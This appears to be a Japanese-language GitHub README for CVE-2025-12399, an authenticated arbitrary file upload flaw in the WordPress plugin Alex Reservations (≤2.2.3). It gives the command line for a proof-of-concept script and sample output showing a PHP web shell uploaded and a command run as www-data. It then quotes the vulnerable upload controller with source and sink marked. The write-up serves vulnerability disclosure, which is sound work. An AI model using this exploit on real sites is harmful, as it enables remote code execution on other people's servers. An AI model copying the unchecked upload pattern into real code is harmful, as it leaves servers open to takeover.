d0n601/cve-2025-12399Alex Reservations: Smart Restaurant Booking <= 2.2.3 - 認証済み（管理者以上）任意のファイルアップロード
Alex Reservations: Smart Restaurant Booking <= 2.2.3 - 認証済み（Admin+）任意ファイルアップロード
WordPress プラグイン Alex Reservations（バージョン 2.2.3 以前）には、認証済みの WordPress 管理者が悪意のある PHP ファイルをサーバーにアップロードできる任意ファイルアップロードの脆弱性が存在し、リモートコード実行につながる可能性があります。
リモート攻撃者が shell.php をアップロードしてリモートコードを実行することを実証するための POC CVE-2025-12399.py を提供します：
python3 ./CVE-2025-12399.py https://TARGETSITE.com admin "$PASSWORD"
[+] Target: http://TARGETSITE.com
[+] Username: admin
[+] Nonce obtained: 022b25d0a5
[+] File uploaded successfully!
[+] Shell URL: https://TARGETSITE.com/wp-content/uploads/alex-reservations/2025/10/shell.php
[+] Command output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
脆弱性は、/wp-json/srr/v1/app/upload/file エンドポイントの UploadFileController.php ファイルに存在します。アップロード機能は適切なファイル検証を欠いており、正規表現パターンによる基本的なファイル名サニタイズのみを実行します。これにより、認証済みの WordPress 管理者は、サーバー上で実行可能な PHP ファイルを含む任意のファイルをアップロードできます。
ソース: $_FILES['file'] からのユーザー入力 (13行目)
シンク: copy($file['tmp_name'], $target_dir_file) (38行目)
脆弱性は次の理由で発生します：
routes.php に登録されています。UploadFileController は基底 Controller を継承しています。$_FILES['file'] からのユーザー制御のファイルデータが検証なしで直接処理されます。preg_replace('/[^a-z0-9_\.\-[:space:]]/i', '_', $file_name) (50行目)wp-content/uploads/alexr-uploads/YYYY/MM/ に保存され、MIME タイプの検証やファイル拡張子の制限はありません。ファイル: includes/application/Alexr/Http/Controllers/UploadFileController.php
行: 11-53
public function upload(Request $request)
{
$file = $_FILES['file']; // SOURCE: User input ([line 13](https://plugins.trac.wordpress.org/browser/alex-reservations/trunk/includes/application/Alexr/Http/Controllers/UploadFileController.php#L13))
// Target dir / url
$upload_dir = wp_upload_dir();
$date = evavel_date_now()->format('Y/m');
$base_dir = $upload_dir['basedir'].'/'.ALEXR_UPLOAD_FOLDER.'/'.$date;
$base_url = $upload_dir['baseurl'].'/'.ALEXR_UPLOAD_FOLDER.'/'.$date;
if (!file_exists($base_dir)) {
$folder_created = wp_mkdir_p($base_dir);
if (!$folder_created) {
return $this->response([
'success' => false,
'error' => __eva('Error creating folder.')
]);
}
}
$file_name = $file['name'];
$file_name = preg_replace('/[^a-z0-9_\.\-[:space:]]/i', '_', $file_name); // Only basic sanitization ([line 50](https://plugins.trac.wordpress.org/browser/alex-reservations/trunk/includes/application/Alexr/Http/Controllers/UploadFileController.php#L50))
$target_dir_file = $base_dir.'/'.$file_name;
$target_url_file = $base_url.'/'.$file_name;
$result = copy($file['tmp_name'], $target_dir_file); // SINK: Direct file copy ([line 38](https://plugins.trac.wordpress.org/browser/alex-reservations/trunk/includes/application/Alexr/Http/Controllers/UploadFileController.php#L38))
if (!$result) {
return $this->response([
'success' => false,
'error' => __eva('Error saving file.')
]);
}
return $this->response([
'success' => true,
'file_path' => $target_dir_file,
'file_url' => $target_url_file,
'message' => __eva('Uploaded.')
]);
}